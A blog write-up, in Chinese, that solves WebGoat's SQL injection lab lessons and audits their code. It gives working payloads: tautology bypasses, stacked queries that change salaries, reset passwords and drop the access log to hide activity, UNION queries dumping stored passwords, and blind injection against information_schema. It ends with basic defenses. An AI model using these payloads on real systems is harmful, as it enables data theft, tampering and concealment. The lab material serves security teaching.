WebGoat代码审计-02-SQL注入
Drunkbaby Lv6

WebGoat代码审计-02-SQL注入

WebGoat 代码审计-02-SQL 注入

  • 要学 SQL 注入,必须要知道 SQL 注入的根本:使得浏览器中的 SQL 语句闭合。
  • 其余废话就不多说了,主要是针对于代码审计方面的 SQL 注入,从根本上理解 SQL 注入。

0x01 SQL Injection (intro)

1. SQL Injection (intro) PageLesson2 select

Select 语句的使用

靶场界面如图所示

其中有一段:

1
2
3
4
5
6
7
There are three main categories of SQL commands:

- Data Manipulation Language (DML)

- Data Definition Language (DDL)

- Data Control Language (DCL)

这里意思是让我们掌握一些基本的 SQL 语言,包括:

DML(data manipulation language):数据操作语言,用于执行查询的语法。例如增删改查

1
2
SELECT UPDATE DELETE 
INSERT INTO

DDL(data definition language):数据定义语言,创建或删除表格,定义索引等。例如

1
2
3
4
5
6
7
CREATE DATABASE - 创建新数据库
ALTER DATABASE - 修改数据库
CREATE TABLE - 创建新表
ALTER TABLE - 变更(改变)数据库表
DROP TABLE - 删除表
CREATE INDEX - 创建索引(搜索键)
DROP INDEX - 删除索引

DCL(Data Control Language):数据库控制语言,授权,角色控制等。例如

1
2
GRANT 授权  
REVOKE 取消授权

TCL(Transaction Control Language):事务控制语言,例如

1
2
3
SAVEPOINT 设置保存点  
ROLLBACK  回滚
SET TRANSACTION
  • 靶场要求: Try to retrieve the department of the employee Bob Franco。也就是查询 Bob Franco是哪个部门的。
  • 注意,此时的我们是有 admin 权限的,所以直接写查询语句即可。
  • 语法:”select something from table where colunm = *”
1
select department from employees where first_name='Bob' and last_name='Franco';

如此,我们的查询就成功了~ 老规矩,代码审计

这里设置了简单的 SQL 查询语句,并设置了 TYPE_SCROLL_INSENSITIVE: 也就是对底层数据变换不敏感; 还设置了 CONCUR_READ_ONLY————只读。
后面语句的意思:判断 SQL 语句查询出的 department 是否等于 Marketing。
所以这里,我们输入如下语句也可以实现:

1
select 'Marketing' as department from employees;

2. SQL Injection (intro) PageLesson3 update

update 语句的使用

靶场界面如图所示

  • 直接做题,将 Tobi Barnett 的部门修改为 Sales。
  • 语法: “update tablename set colunm=’’ where colunm = * “”

payload:

1
update employees SET department = 'Sales' where first_name='Tobi' and last_name='Barnett';

如此,我们的查询就成功了~ 老规矩,代码审计

代码判断 department 是否等于 Sales。
和上题类似,可以通过这种方法绕过

1
update employees set department='Sales'

3. SQL Injection (intro) PageLesson4 alter

Alter 语句的使用

靶场界面如图所示

  • 直接做题,要求将列 “phone”(varchar(20))添加到表 “employees”。
  • 语法: “alter table tablename add colunmname colunm type”

payload:

1
alter table employees add phone varchar(20);

老样子,源码

我们看到这里的语句

1
ResultSet results = statement.executeQuery("SELECT phone from employees;");

在我们执行完 SQL 语句之后,phone 列表已经被插入到了 employees 表里,此时的变量 results 被赋值,才有了后面的以切判断。

4. SQL Injection (intro) PageLesson5 grant

Grant 命令的使用,事关权限问题

靶场界面如图所示

  • 直接做题,要求将表 “grant_rights” 的权限开通给用户 “unauthorized_users”。
  • 语法: “grant all on table to user;”

这里的 all 可以替换为其他的权限,例如增删改查。

老样子,源码

我们看到这里的 SQL 语句:

1
SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES WHERE TABLE_NAME = ? AND GRANTEE = ?

TABLE_NAME = GRANT_RIGHTS
GRANTEE = UNAUTHORIZED_USER
也就是检查是否存在,okpass


SQL 注入一般存在于这种语句中 " SELECT * FROM users WHERE name = '' ";

  • 原理:闭合 SQL 语句

5. SQL Injection (intro) PageLesson9 万能密码

靶场界面如图所示

  • 直接做题,看着就像是万能密码
  • 题目里面告诉了我们 SQL 查询语句
1
"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";

这里我们选择 Smith’ or ‘1’=’1,成功~

得到的 SQL 语句:

1
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'

因为 last_name 这里等于 **’Smith’ or ‘1’=’1’**永远为真,

SQL 语句也就因此变换为

1
SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE

而所有的数据对于 **last_name=TRUE **都成立,故可以查询出所有的数据。

老样子,源码

这一行的代码:

accout: Smith’
operator: or
injection: ‘1’=’1

而传进去的参数 accoutName = Smith' or '1'='1
也就有了我们看到的 SQL 语句:

1
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'

6. SQL Injection (intro) PageLesson10 数字型注入

所谓数字型注入即参数为数字,不需要添加其他符号来做闭合,如 id=1 or 1=1 的形式

测试数字型注入的步骤:

(1) 加单引号,id=3’

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

(2) 加 and 1=1,id=3 and 1=1

对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

(3) 加and 1=2,id=3 and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

如果满足以上三点,则可以判断该URL存在数字型注入。


靶场界面如图所示

  • 题目已经给了 SQL 查询语句
1
"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = "  + User_ID;

再结合题目提示 “数字型注入”,直接在 Login_Count 中输入 1 or 1=1 —————进行最基本的数字型注入,查看回显。

呃,居然没有任何回显,意料之外……
又在 User_Id 框中输入 1 or 1=1,还是不对。

前两种情况都错了,尝试第三种情况,Login_Count 的值随意输入,将 User_Id 的值输入为 1 or 1=1

终于成功了,可是为什么 Login_Count 的值是 1 or 1=1 时总是得不到理想的回显呢?

老样子,源码

变量:
login_count: 1
userid: 1 or 1=1

这里突然发现,SQL 语句同之前的不一样了,出现了一个新朋友————“?”

  • 对应的 SQL 语句,我们把它单独拉出来
1
"SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;

“?” 在 SQL 语句中起到了预编译的作用,当用户数据来的时候,就会直接替换掉? 这里不存在再次编译, 所以也就不会解析用户数据了,能够很好的预防 SQL 注入。后面的代码会将 Login_Count 转换成数字类型,如果没有出错才会进行后续的操作。

简而言之,预编译读入了输入的字面意思,从而不将其与 SQL 语句混淆。
由此可见,预编译对于 SQL 注入的预防功能还是卓有成效的 ~

7. SQL Injection (intro) PageLesson11 字符型注入

  • 字符串注入一般需要通过单引号来闭合的。同数字型注入类似,但数字型注入不需要单引号来闭合。
  • 字符型注入有一个更出名的名字 ———— 万能密码

测试字符型注入的步骤:

(1) 加单引号,id=3’ and password=123

由于加单引号后变成三个单引号,则无法执行,程序会报错;一般的报错都是像这样。

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '123'' at line 1
(2) 尝试绕过,通过 1’ or ‘1’=’1

此时的 SQL 语句会变成这样:

1
SELECT * FROM table WHERE first_name = '1' and last_name = '1' or '1' = '1'

靶场界面如图所示

  • 用万能密码进行绕过,题意,服务器通过 “auth_tan” 来判断是否为员工本人。那么这里万能密码的应用点就应该在 “auth_tan”

老样子,源码

很明显,我们通过万能密码的方式拼接了 SQL 查询语句。

8. SQL Injection (intro) PageLesson12 堆叠注入

靶场界面如图所示

Lesson12 与 Lesson11 的 SQL 查询语句并没有改动,需要我们将 John Smith 的工资拉高,拉的比任何人都要高。

  • 要完成上述所说的操作,唯一想到的只有堆叠注入了。
  • 堆叠注入:同时执行两句 SQL 语句。最简单的堆叠注入语句
1
select * from users;DELETE FROM test

先查询 user 表,然后再从 test 数据库里删除 user 表。
在本题中,要将 John Smith 的工资修改地比另外两人高,直接构造 payload :

1
1'; update employees set salary=9999999 where last_name='Smith';-- -

最后的 -- - 是将 SQL 语句后面的部分注释掉,从而实现修改数据。

关键拼接部分的源码与上题完全相同,不再加以分析。

9. SQL Injection (intro) PageLesson13 干完坏事记得删历史记录!

之前看某些入门级的黑客书籍时,总会说到删除历史记录什么的,直到现在才对删除历史记录有一定的感受。

SQL 的操作都保存在一个名为 “access_log” 的表格中。所以我们要删除历史记录的话,必然是执行 drop access_log 的命令

靶场界面如图所示

点击 Search logs,可以发现我们对数据库的所有操作,包括之前违规 “涨工资” 的操作。

想到是对数据库的操作,立马想到堆叠注入。构造 payload

1
1';drop table access_log; -- -

至此,intro 部分全部通关。




0x02 SQL Injection (advanced)

前文 intro 模块介绍了一些基本的 SQL 语句,Advanced 部分将介绍多重 SELECT,也就是我们常说的联合注入 ———— UNION SELECT

  • 在介绍 UNION SELECT 之前,先来熟悉以下 SQL 语句当中的一些特殊符号,这在后续的渗透中经常会用到。

1. 联合注入前的 Preparation

Prepare① : SQL 语句当中的特殊符号

(1) 常见注释符:

行内注释符号/**/; 应用 —— /* 123 */,能够将123注释。

行外注释符号 --#; 应用 —— SELECT * FROM users WHERE name = 'admin' -- AND pass = 'pass'可以将 “–” 后的所有内容都注释掉。

(2) 常见查询符:

提供多组查询,也就是堆叠注入,符号为 ; 应用 —— SELECT * FROM users; DROP TABLE users;

(3) 常见连接符:

用于字符串的连接,单引号',加号+,管道符||, 应用 —— SELECT * FROM users WHERE name = '+char(27) OR 1=1

Prepare②: SQL UNION SELECT 联合查询

  • 联合查询的用法:
1
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;

这时候肯定有好多小伙伴要好奇问了,你说了这个联合查询,那联合查询没有任何限制吗?———————— 答案当然是有限制!

在使用 UNION SELECT 联合查询之前,必须要先判断数据表有多少列,试想一下,如果数据表有三列,而 UNION SELECT 了四列,必然会导致报错。

Prepare③: SQL UNION SELECT 的两个前提条件

条件一、 SELECT 的列数与数据库的列数相等:

举个栗子: 数据库有 3 列,那么 union 查询时的语句应该符合如下基本构造

1
1' union select 1,2,3 #

如果数据库有 4 列,构造如下

1
1' union select 1,2,3,4 #
条件二、 查询的数据要与原数据库列的数据类型匹配

乍一眼看这段话是比较抽象的,我们还是简单举个例子。

大家都知道,在新建数据库时,我们必须命名 table_name, column_name 以及 column_type ————这个东西就是数据库列的数据类型。

1
2
3
4
5
6
7
8
CREATE TABLE Persons  
(
PersonID int,
LastName varchar(255),
FirstName varchar(255),
Address varchar(255),
City varchar(255)
);

对应这一个新的数据表 Persons,我们的联合查询应该如下

1
1' union select 1,"张三","李四","322111","杭州" #

如果第一个数据输入的并不是 int 类型的数据的话,一定会遇到报错,我们这里用’1’作为例子。

1
Conversion failed when converting the varchar value '1' to data type int.

  • 那么问题又来了,当我们实战渗透,进行攻击的时候,肯定不知道对方的数据表有几列啊,这时应该怎么办呢?
Solution1 通过 ORDER BY 命令

假设是字符型注入

1
2
3
4
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
etc.
Solution2 通过 UNION SELECT NULL 来判断列数

有多少个列,就写多少个 NULL

1
2
3
4
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
etc.
  • 特别需要注意的:在 Oracle 数据库中,需要改为
1
UNION SELECT NULL FROM DUAL --

好啦,该讲的知识点也都讲完了,是时候打靶场了~

2. SQL Injection (advanced) PageLesson3

靶场界面如图所示

  • 题目告诉我们已经存在的两个数据表 user_data 和 user_system_data
  • 两个任务:1. 从表中获取到所有的数据;2. 搞到 Dave 的密码。

看到这个 Get Accout Info 的按钮,这和 Check Password的一定是分开的,那么我们先尝试闭合 SQL 语句,在第一个查询框内输入 1' or '1'='1

解法一、使用堆叠注入

根据我们前文提到的堆叠注入,通过分号隔开两条 SQL 语句,payload:

1
1'; select * from user_system_data -- 

由此,我们爆出了 user_system_data 表的数据,也得到了 Dave 的 password。但是 WebGoat 此时让我们再使用 UNION 查询来完成 SQL 注入。

解法二、使用联合注入

  • 从之前的尝试中,我们发现使用万能密码注入时,返回的数据有七列。而 user_system_data 表只有4列,所以需要将从 user_system_data 表中查到的数据补齐到7列。
  • 7列数据: USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT
  • 目前 user_system_data 有4列:userid, user_name, password, cookie,将其补齐到7列。
    由此思考出 UNION SELECT 的数据:
1
userid, user_name, password, null, null, cookie, null

进一步构造 payload:

1
1' or 1=1 union select userid,user_name,password,null,null,cookie,null from user_system_data --

这样子我们可以爆出所有的数据

还有一种只爆出 Dave password 的 payload,在这一种 payload 中,可以很明显地看出来 Union 联合查询要满足的第二个条件———————— 查询的数据要与原数据库列的数据类型匹配。

1
1'or 1=1 union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'--

老样子,源码

源码中还是对 SQL 语句不加任何的过滤,不同的是这里出现了正则表达式,判断我们是否在查询语句中使用了 UNION 联合查询。

3. SQL 盲注

在 WebGoat 网站上对盲注的英文描述机翻过来之后,比较不准确,这里分享一下自己的理解。

(1) 什么是 SQL 盲注

  • 首先 SQL 盲注很重要的一点是无回显
  • 其次 SQL 盲注存在非显性回显,也就是说从侧面可以看出回显

展开来给大家讲一讲

SQL 盲注的意思是,注入数据到 SQL 语句中,服务器不会返回数据库里的详细信息 ———————— 无回显的表现。

只会给出 true 或 false 的信息,或者给出延时的信息,或者一些其他的信息(比如报错) ———————— 这里就是我所说的侧面回显。

所以,我们只能根据有限的信息去获取数据库中更多地信息,这种方式像盲人摸象一样,只能一点一点的去收集数据库的信息(每一次的true表示获取一个有效信息),来慢慢形成对整个数据库信息的理解(表名是什么,列名是什么),最终达到获取数据库中数据的目的(获取某个表的某个值)。

(2) 判断 SQL 盲注的方法

  • 最重要的一定是先找注入点,判断是否存在注入点,多试试各种地方,比如 Login 的登录界面,Register 注册界面等
1. 针对布尔盲注,也就是 True 与 False 的回显
  • 布尔盲注,只会根据你的注入信息返回 True 或 False,也就没有了之前的报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '123'' at line 1
布尔盲注判断方法:
  1. 判断注入点
    1’ and 1=1 // 页面返回有数据
    1’ and 1=2 // 页面返回无数据
    此种情况可以推出存在 SQL 注入
  2. 判断当前页面字段数
    1’ and 1=1 order by 2 – // 页面返回有数据
    1’ and 1=2 order by 3 – // 页面返回无数据
    判断出当前页面字段数为 2
时间盲注判断方法
  1. 判断注入点的 SQL 语句
    1’ and 1=1–  // 页面返回有数据
    1’ and 1=2– //  页面返回有数据
    页面的返回没有变化,可能是盲注
  2. 判断是何种盲注
    Select name from table where id = 1 and if(布尔表达式,sleep(5),(1)); // 条件为真时延时 5s
    可以通过简单的id = 1’ and sleep(2)判断是否存在时间盲注

还有一些深度用法,我们以 WebGoat 靶场下的题目为例说明

4. SQL Injection (advanced) PageLesson5 布尔盲注

靶场界面如图所示

(1) 探测注入点

  • 界面中有 Login 与 Register 两个界面,我们依次寻找注入点。注入点无非四处,Login 界面下的用户名密码,Register 下的用户名密码。

Login 界面下对 username 进行注入点探测,输入1' or '1'='1

得到回显:”No results matched, try again.”
这里得到的回显代表了不存在 SQL 注入,如果存在 SQL 注入的话必然是会报错的。

在密码处尝试探测注入点,得到的结果同上。

  • 尝试后发现,Login 界面下的 Username 与 Password 都不存在 SQL 注入

转战 Register 界面,我们先注册一个名为 hello 密码为 123 的账号。

注册完之后,在 Register 界面再进行 SQL 注入点的探测

hello’ or 1=1 –
hello’ or 1=2 –
hello’ and 1=1 –
hello and 1=3 –

先贴四张图,给大家看一看回显

更直观一些,我们列一张表格总结一下

username 回显
hello’ or 1=1 – already exists please try to register with a different username.这说明存在SQL注入,因为如果不存在SQL注入,用户名**”hello’ or 1=1 –”是不存在的,不应该提示『已存在』。说明“hello’ or 1=1 –”**SQL语句被解析了
hello’ or 1=2 – already exists please try to register with a different username. 说明存在SQL注入,否则用户名为**”hello’ or 1=2 –”**的用户是不存在的。
hello’ and 1=1 – already exists please try to register with a different username. 说明存在SQL注入,否则用户名为**””hello’ and 1=1 –””**的用户是不存在的。
hello’ and 1=2 – User hello’ and 1=2 – created, please proceed to the login page.如果单从这一条来说,是不能确定是否存在SQL注入的,因为有两种可能性。可能1: 用户名为hello’ and 1=2 – 的用户确实不存在,所以可以注册。可能2:and 1=2 起作用了,它的结果是 false,对于 select * from xxx_table where false 来说,是始终不会查询到数据的。所以可以注册

由上述分析,我们可以确定 Register 处存在 SQL 盲注。

(2) 进阶使用/理解布尔盲注

  • 题目目的:让我们以 Tom 的身份登录

tom的组合有好多中写法。
简单测试,发现在数据库中已经存在的用户名是 tom ~

如果想要以 tom 的身份登录无非是两种方式
一、通过联合注入爆出 tom 的数据 ———— 使用到布尔盲注
二、篡改 tom 的密码 ——— 运用我们之前所讲的堆叠注入

第一种方式更加切题,我们先从第一种,通过布尔盲注的方式来

解法一、使用布尔盲注

在讲解题之前要先提一下一个函数 —- substring,作用是截取字符

1
2
substring(string ,1,3) // 取string左边第1位置起,3字长的字符串。
==》 输出结果为:str

基本思路是先爆表,再爆库,再爆列,再爆值。毕竟是盲注嘛,还是很累的。这里列举一下爆表/库/列的 payload:

爆表名:
1’ or substring((select schema_name from information_schema.schemata limit 0, 1), 1, 1)=’I’;–

  • 需要改动 substring 的数值,例如,爆出第一位之后,需要改变payload 为 substring(语句,2,1) 用来爆破第二位。爆破可以使用 burpsuite

爆破的结果:

由此可以看出,schema 名的第一个字母为 C,接着继续爆…………以此类推

爆库
‘ or substring((select table_name from information_schema.tables where table_schema=’刚获取到的表名’ limit 0, 1), 1, 1)=’a’;–

爆列
‘ or substring((select column_name from information_schema.columns where table_name=’刚获取到的table名’ limit 0, 1), 1, 1)=’a’;–

这里直接猜测列的名字是 password,构造 payload:

1
tom' or password='12345 //用这个语句,判断 password 列对应的是密码
  • 当我们已经爆出列的时候,就可以开始爆密码了。

payload:

1
tom' and substring(password,1,1)='a // 爆密码的第一位

第一位字母的爆破如图

对于 tom’ 来说,只有 tom and true时才会是 True,否则会报错,也就是说,只有爆对字母才会成功 ~

最后得出 tom 的密码是 thisisasecretfortomonly

解法二、使用堆叠注入

爆表,爆库,爆列的几步走和上面一致

只是在篡改密码时的 payload 不同了

1
1'; update XXX_TABLE set PASSWORD_COLUMN = '123456'; --

然后以用户名tom和密码123456登录即可。

0x03 SQL 注入的基本防御手段

1. 构造不可变的查询

1.1 静态查询

1
SELECT * FROM users WHERE user = "'" + session.getAttribute("UserID") + "'";

这里的 UserID 就不经过拼接,而是直接通过 session.getAttribute 读取。

1.2 预编译 ———— 也就是使用问号

  • 预编译的问题在上文我们也提到过 ~
1
2
3
4
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

很多小伙伴们觉得预编译可以完美防止 SQL 注入,其实不完全是这样的。

2. 使用转义字符

转义字符,也就是过滤掉一些特殊的字符,比如单引号、括号这种,能够很好的防御 SQL 注入。

3.对访问数据库的 Web 应用程序进行 WAF 操作。

 评论